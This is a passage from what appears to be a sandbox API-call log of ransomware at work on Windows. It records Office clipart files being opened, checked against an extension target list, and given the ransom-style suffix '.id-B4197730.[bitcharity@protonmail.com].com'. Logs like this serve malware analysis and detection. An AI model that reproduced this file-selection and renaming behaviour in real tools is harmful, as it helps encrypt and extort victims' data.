lpFileSize=0x28dff14*=4232) returned 1 [0261.941] CloseHandle (hObject=0x118c) returned 1 [0261.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf")) returned 0x220 [0261.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0261.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.942] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.942] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01805_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.942] CloseHandle (hObject=0x118c) returned 1 [0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.942] lstrlenW (lpString=".doc") returned 4 [0261.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.942] lstrlenW (lpString=".docx") returned 5 [0261.942] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.942] lstrlenW (lpString=".pdf") returned 4 [0261.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.942] lstrlenW (lpString=".xls") returned 4 [0261.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.942] lstrlenW (lpString=".xlsx") returned 5 [0261.943] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.943] lstrlenW (lpString=".ppt") returned 4 [0261.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.943] lstrlenW (lpString=".zip") returned 4 [0261.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.943] lstrlenW (lpString=".rar") returned 4 [0261.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString=".bz2") returned 4 [0261.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString=".7z") returned 3 [0261.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.943] lstrlenW (lpString=".dbf") returned 4 [0261.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.943] lstrlenW (lpString=".1cd") returned 4 [0261.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.944] lstrlenW (lpString=".jpg") returned 4 [0261.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.944] lstrlenW (lpString=".doc") returned 4 [0261.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.944] lstrlenW (lpString=".docx") returned 5 [0261.944] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.944] lstrlenW (lpString=".pdf") returned 4 [0261.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.944] lstrlenW (lpString=".xls") returned 4 [0261.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.944] lstrlenW (lpString=".xlsx") returned 5 [0261.944] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.944] lstrlenW (lpString=".ppt") returned 4 [0261.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.945] lstrlenW (lpString=".zip") returned 4 [0261.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.945] lstrlenW (lpString=".rar") returned 4 [0261.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.945] lstrlenW (lpString=".bz2") returned 4 [0261.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.945] lstrlenW (lpString=".7z") returned 3 [0261.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.945] lstrlenW (lpString=".dbf") returned 4 [0261.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.945] lstrlenW (lpString=".1cd") returned 4 [0261.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01805_.WMF") returned 68 [0261.945] lstrlenW (lpString=".jpg") returned 4 [0261.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.945] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0261.945] lstrlenW (lpString="SO01905_.WMF") returned 12 [0261.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.946] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=1400) returned 1 [0261.946] CloseHandle (hObject=0x118c) returned 1 [0261.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf")) returned 0x220 [0261.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0261.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.947] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.947] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01905_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.947] CloseHandle (hObject=0x118c) returned 1 [0261.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.948] lstrlenW (lpString=".doc") returned 4 [0261.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.948] lstrlenW (lpString=".docx") returned 5 [0261.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.948] lstrlenW (lpString=".pdf") returned 4 [0261.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.948] lstrlenW (lpString=".xls") returned 4 [0261.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.948] lstrlenW (lpString=".xlsx") returned 5 [0261.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.948] lstrlenW (lpString=".ppt") returned 4 [0261.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.948] lstrlenW (lpString=".zip") returned 4 [0261.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.949] lstrlenW (lpString=".rar") returned 4 [0261.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.949] lstrlenW (lpString=".bz2") returned 4 [0261.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.949] lstrlenW (lpString=".7z") returned 3 [0261.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.949] lstrlenW (lpString=".dbf") returned 4 [0261.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.949] lstrlenW (lpString=".1cd") returned 4 [0261.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.949] lstrlenW (lpString=".jpg") returned 4 [0261.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.950] lstrlenW (lpString=".doc") returned 4 [0261.950] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.950] lstrlenW (lpString=".docx") returned 5 [0261.950] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.950] lstrlenW (lpString=".pdf") returned 4 [0261.950] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.950] lstrlenW (lpString=".xls") returned 4 [0261.950] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.950] lstrlenW (lpString=".xlsx") returned 5 [0261.950] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.950] lstrlenW (lpString=".ppt") returned 4 [0261.950] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.950] lstrlenW (lpString=".zip") returned 4 [0261.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.950] lstrlenW (lpString=".rar") returned 4 [0261.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.950] lstrlenW (lpString=".bz2") returned 4 [0261.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.950] lstrlenW (lpString=".7z") returned 3 [0261.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.950] lstrlenW (lpString=".dbf") returned 4 [0261.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.951] lstrlenW (lpString=".1cd") returned 4 [0261.951] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01905_.WMF") returned 68 [0261.951] lstrlenW (lpString=".jpg") returned 4 [0261.951] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.951] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0261.951] lstrlenW (lpString="SO01954_.WMF") returned 12 [0261.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.952] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=12422) returned 1 [0261.952] CloseHandle (hObject=0x118c) returned 1 [0261.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf")) returned 0x220 [0261.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0261.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.952] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.953] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so01954_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.953] CloseHandle (hObject=0x118c) returned 1 [0261.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.954] lstrlenW (lpString=".doc") returned 4 [0261.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.954] lstrlenW (lpString=".docx") returned 5 [0261.954] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.954] lstrlenW (lpString=".pdf") returned 4 [0261.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.954] lstrlenW (lpString=".xls") returned 4 [0261.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.954] lstrlenW (lpString=".xlsx") returned 5 [0261.955] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.955] lstrlenW (lpString=".ppt") returned 4 [0261.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.955] lstrlenW (lpString=".zip") returned 4 [0261.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.955] lstrlenW (lpString=".rar") returned 4 [0261.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.955] lstrlenW (lpString=".bz2") returned 4 [0261.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.955] lstrlenW (lpString=".7z") returned 3 [0261.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.955] lstrlenW (lpString=".dbf") returned 4 [0261.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.955] lstrlenW (lpString=".1cd") returned 4 [0261.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.956] lstrlenW (lpString=".jpg") returned 4 [0261.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.956] lstrlenW (lpString=".doc") returned 4 [0261.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.956] lstrlenW (lpString=".docx") returned 5 [0261.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.956] lstrlenW (lpString=".pdf") returned 4 [0261.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.956] lstrlenW (lpString=".xls") returned 4 [0261.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.956] lstrlenW (lpString=".xlsx") returned 5 [0261.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.956] lstrlenW (lpString=".ppt") returned 4 [0261.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.956] lstrlenW (lpString=".zip") returned 4 [0261.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.957] lstrlenW (lpString=".rar") returned 4 [0261.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.957] lstrlenW (lpString=".bz2") returned 4 [0261.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.957] lstrlenW (lpString=".7z") returned 3 [0261.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.957] lstrlenW (lpString=".dbf") returned 4 [0261.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.957] lstrlenW (lpString=".1cd") returned 4 [0261.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO01954_.WMF") returned 68 [0261.957] lstrlenW (lpString=".jpg") returned 4 [0261.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.957] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0261.957] lstrlenW (lpString="SO02009_.WMF") returned 12 [0261.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.959] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=7444) returned 1 [0261.959] CloseHandle (hObject=0x118c) returned 1 [0261.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf")) returned 0x220 [0261.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0261.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0261.960] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.960] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so02009_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.960] CloseHandle (hObject=0x118c) returned 1 [0261.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF") returned 68 [0261.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF") returned 68 [0261.960] lstrlenW (lpString=".doc") returned 4 [0261.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.960] lstrlenW (lpString=".docx") returned 5 [0261.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.960] lstrlenW (lpString=".pdf") returned 4 [0261.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.961] lstrlenW (lpString=".xls") returned 4 [0261.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.961] lstrlenW (lpString=".xlsx") returned 5 [0261.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.961] lstrlenW (lpString=".ppt") returned 4 [0261.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF") returned 68 [0262.241] lstrlenW (lpString=".zip") returned 4 [0262.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.241] lstrlenW (lpString=".rar") returned 4 [0262.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.241] lstrlenW (lpString=".bz2") returned 4 [0262.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.241] lstrlenW (lpString=".7z") returned 3 [0262.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO02009_.WMF") returned 68 [0262.241] lstrlenW (lpString=".dbf") returned 4 [0262.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.242] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.243] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY1.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby1.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.244] CloseHandle (hObject=0x1158) returned 1 [0262.245] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.246] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\STUBBY2.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\stubby2.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0262.247] CloseHandle (hObject=0x1158) returned 1 [0262.248] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.248] SetFilePointerEx (in: hFile=0x1158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0262.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SY00110_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sy00110_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 